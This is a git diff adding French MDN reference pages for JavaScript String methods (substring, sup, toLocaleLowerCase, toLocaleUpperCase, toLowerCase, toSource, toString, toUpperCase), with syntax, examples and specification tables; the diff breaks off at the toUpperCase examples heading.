+     fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+    }
+  }
+  return fullS;
+}
+
+replaceString("World", "Web", "Brave New World");</pre>
+
+<p>Attention : ceci peut résulter en une boucle infinie si <code>oldS</code> est elle-même une sous-chaine de <code>newS</code> -- par exemple, si on essaie de remplacer "World" par "OtherWorld". Une meilleure solution serait de remplacer les chaines de cette manière :</p>
+
+<pre class="brush:js">function replaceString(oldS, newS,fullS){
+  return fullS.split(oldS).join(newS);
+}</pre>
+
+<p>Le code ci-dessus sert d'exemple pour les opérations sur les sous-chaines. S'il est nécessaire de remplacer des sous-chaines, la plupart du temps il faudrait préférer l'utilisation de {{jsxref("String.prototype.replace()")}}.</p>
+
+<h3 id="Différence_entre_substring()_et_substr()">Différence entre <code>substring()</code> et <code>substr()</code></h3>
+
+<p>Il existe une légère différence entre les méthodes <code>substring()</code> et {{jsxref("String.substr", "substr()")}}. Les deux ne doivent pas être confondues.</p>
+
+<p>Les arguments de la méthode <code>substring()</code> représentent les indices de début et de fin sur la chaîne. Pour <code>substr()</code>, les arguments représentent l'indice de début et le nombre de caractères à utiliser pour la chaîne résultante.</p>
+
+<pre class="brush: js">var texte = "Mozilla";
+console.log(texte.substring(2,5)); // =&gt; "zil"
+console.log(texte.substr(2,3)); // =&gt; "zil"
+</pre>
+
+<h3 id="Différences_entre_substring()_et_slice()">Différences entre <code>substring()</code> et <code>slice()</code></h3>
+
+<p>Les méthodes <code>substring()</code> et {{jsxref("String.slice", "slice()")}} sont très proches mais certaines différences les distinguent, notamment la façon de gérer les arguments négatifs.</p>
+
+<p>La méthode <code>substring()</code> échangera les deux arguments si <code>indiceA</code> est supérieur à <code>indiceB</code> et renverra donc une chaîne de caractères. La méthode {{jsxref("String.slice", "slice()")}} n'échange pas les arguments et renvoie donc une chaîne vide si le premier est supérieur au second :</p>
+
+<pre class="brush: js">var text = 'Mozilla';
+console.log(text.substring(5, 2)); // =&gt; "zil"
+console.log(text.slice(5, 2));     // =&gt; ""
+</pre>
+
+<p>Si l'un ou l'autre des arguments sont négatifs ou valent <code>NaN</code>, la méthode <code>substring()</code> les traitera comme s'ils valaient <code>0</code>.</p>
+
+<pre class="brush: js">console.log(text.substring(-5, 2)); // =&gt; "Mo"
+console.log(text.substring(-5, -2)); // =&gt; ""
+</pre>
+
+<p><code>slice()</code> traite également <code>NaN</code> comme <code>0</code>, mais parcourt la chaîne à partir de la fin lorsque des arguments négatifs sont utilisés.</p>
+
+<pre class="brush: js">console.log(text.slice(-5, 2)); // =&gt; ""
+console.log(text.slice(-5, -2)); // =&gt; "zil"
+</pre>
+
+<p>Pour plus d'exemples sur l'utilisation d'arguments négatifs, voir la page {{jsxref("String.slice", "slice()")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.substring")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html b/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html
new file mode 100644
index 0000000000..f56e0f2a9b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html
@@ -0,0 +1,76 @@
+---
+title: String.prototype.sup()
+slug: Web/JavaScript/Reference/Objets_globaux/String/sup
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sup
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p>La méthode <code><strong>sup()</strong></code> crée un élément HTML {{HTMLElement("sup")}} qui entraîne l'affichage de la chaîne en exposant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.sup()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("sup")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>sup</code> encapsule une chaîne dans une balise <code>&lt;sup&gt;</code> :<br>
+ <code>"&lt;sup&gt;str&lt;/sup&gt;</code>".</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant utilise les méthodes {{jsxref("String.prototype.sub()", "sub()")}} et <code>sup</code> pour mettre en forme une chaîne :</p>
+
+<pre class="brush: js">var superText = "exposant";
+var subText = "indice";
+
+console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
+// Ceci illustre l'affichage d'un texte en &lt;sup&gt;exposant&lt;/sup&gt;.
+console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
+Ceci illustre l'affichage d'un texte en &lt;sub&gt;indice&lt;/sub&gt;.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.sup', 'String.prototype.sup')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.sup', 'String.prototype.sup')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.sup")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.sub()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html
new file mode 100644
index 0000000000..583232b3cf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.toLocaleLowerCase()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleLowerCase
+tags:
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleLowerCase()</strong></code> renvoie la chaîne de caractères qui appelle la méthode en une chaîne de caractères représentées en minuscules, en tenant compte des correspondances de caractères propres aux différentes locales.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolocalelowercase.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.toLocaleLowerCase()
+<var>str</var>.toLocaleLowerCase(locale)
+<var>str</var>.toLocaleLowerCase([locale, locale, ...])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locale</code> {{optional_inline}}</dt>
+ <dd>Ce paramètre indique la locale dans laquelle convertir la chaîne en minuscules en utilisant les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, c'est la meilleure locale disponible qui est utilisée. La locale par défaut est celle utilisée par le système hôte.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, convertie en minuscules en tenant compte de la locale.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever les exceptions suivantes :</p>
+
+<ul>
+ <li>{{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument <code>locale</code> ne correspond pas à une balise de langue valide.</li>
+ <li>{{jsxref("TypeError")}} ("invalid element in locales argument") si un des éléments du tableau passé en argument n'est pas une chaîne de caractères.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toLocaleLowerCase()</code> renvoie la valeur de la chaîne de caractères, convertie en minuscules selon les correspondances propres à la la locale. <code>toLocaleLowerCase()</code> ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toLowerCase", "toLowerCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut, prévues par Unicode, cette méthode pourra produire un résultat différent.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">"ALPHABET".toLocaleLowerCase(); // "alphabet"
+
+"\u0130".toLocaleLowerCase("tr") === "i"; // true
+"\u0130".toLocaleLowerCase("en-US") === "i"; // false
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Ajout du paramètre <code>locale</code> dans ES Intl 2017</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toLocaleLowerCase")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html
new file mode 100644
index 0000000000..41e4a41e44
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html
@@ -0,0 +1,110 @@
+---
+title: String.prototype.toLocaleUpperCase()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleUpperCase
+tags:
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleUpperCase()</strong></code> renvoie la chaîne de caractères qui appelle la méthode en caractères majuscules, selon les correspondances de caractères propres aux différentes locales.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolocaleuppercase.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.toLocaleUpperCase()
+<var>str</var>.toLocaleUpperCase(locale)
+<var>str</var>.toLocaleUpperCase([locale, locale, ...])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locale</code> {{optional_inline}}</dt>
+ <dd>Le paramètre <code>locale</code> indique la locale dans laquelle convertir la chaîne en majuscules afin que la méthode utilise les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, la meilleure locale disponible est alors utilisée. La locale par défaut est celle utilisée par le système hôte.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères obtenue en transformant la chaîne de caractères appelante en majuscules et en tenant compte de la locale.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever les exceptions suivantes :</p>
+
+<ul>
+ <li>{{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument <code>locale</code> ne correspond pas à une balise de langue valide.</li>
+ <li>{{jsxref("TypeError")}} ("invalid element in locales arguments") si un élément du tableau de locales passé en argument n'est pas une chaîne de caractères.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toLocaleUpperCase()</code> renvoie la valeur de la chaîne de caractères, convertie en majuscules selon les correspondances propres à la la locale. <code>toLocaleUpperCase()</code> ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toUpperCase", "toUpperCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut prévue par Unicode, cette méthode pourra produire un résultat différent.</p>
+
+<p>On notera également que la conversion ne repose pas sur une correspondance un à un de chaque caractère. En effet, certains caractères produisent deux (voire plus) caractères lorsqu'ils sont convertis en majuscules. Ainsi, la longueur de la chaîne passée en majuscules peut être différente de la longueur de la chaîne originale. Cela implique que la transformation n'est pas stable, autrement dit, l'instruction suivante pourra renvoyer <code>false</code> : <code>x.toLocaleLowerCase() === x.toLocaleUpperCase().toLocaleLowerCase()</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">"alphabet".toLocaleUpperCase();       // "ALPHABET"
+'Gesäß'.toLocaleUpperCase();          // 'GESÄSS'
+"i\u0307".toLocaleUpperCase("lt-LT"); // "I"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Ajout du paramètre <code>locale</code> dans ES Intl 2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toLocaleUpperCase")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html
new file mode 100644
index 0000000000..22a5b3f34a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html
@@ -0,0 +1,81 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toLowerCase
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLowerCase()</strong></code> retourne la chaîne de caractères courante en minuscules.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.toLowerCase()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères qui est obtenue en passant la chaîne appelante en minuscules.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toLowerCase()</code> renvoie la valeur de la chaîne convertie en minuscules. <code>toLowerCase()</code> ne modifie pas la valeur de la chaîne courante.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">console.log( "ALPHABET".toLowerCase() ); // "alphabet"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toLowerCase")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html
new file mode 100644
index 0000000000..19b1006e1d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html
@@ -0,0 +1,58 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toSource
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> permet de renvoyer une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">String.toSource()
+<var>str</var>.toSource()
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source de la chaîne de caractères appelante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("String")}}, <code>toSource()</code> renvoie la chaîne de caractère suivante, indiquant que le code source n'est pas disponible :
+
+  <pre class="brush: js">function String() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances de {{jsxref("String")}} ou les littéraux de chaînes de caractères, <code>toSource()</code> renvoie une chaîne de caractère représentant le code source.</li>
+</ul>
+
+<p>Généralement, cette méthode est appelée par du code interne au moteur JavaScript et n'est pas trouvée dans du code JavaScript externe.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html
new file mode 100644
index 0000000000..ef3618a8b5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html
@@ -0,0 +1,82 @@
+---
+title: String.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toString
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaine de caractères représentant l'objet renseigné.</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tostring.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la chaîne appelante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("String")}} surcharge la méthode <code>toString()</code> de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.toString","Object.prototype.toString()")}}. Pour Les objets <code>String</code>, la méthode <code>toString()</code> renvoie une chaine de caractères représentant l'objet, et est similaire à la méthode {{jsxref("String.prototype.valueOf()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant affiche la valeur textuelle d'un objet  {{jsxref("String")}} :</p>
+
+<pre class="brush:js">var x = new String("coucou monde");
+console.log(x.toString()); // affiche "coucou monde"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tostring', 'String.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("String.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html
new file mode 100644
index 0000000000..9f456170cf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html
@@ -0,0 +1,107 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Reference/Objets_globaux/String/toUpperCase
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toUpperCase()</strong></code> retourne la valeur de la chaîne courante, convertie en majuscules.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-touppercase.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.toUpperCase()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, passée en majuscules.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Une telle exception sera levée si on appelle cette méthode sur {{jsxref("null")}} ou {{jsxref("undefined")}} (en utilisant <code>Function.prototype.call()</code> par exemple).</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toUpperCase()</code> retourne la valeur de la chaîne convertie en majuscules. <code>toUpperCase</code> n'affecte pas la valeur de la chaîne elle-même.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
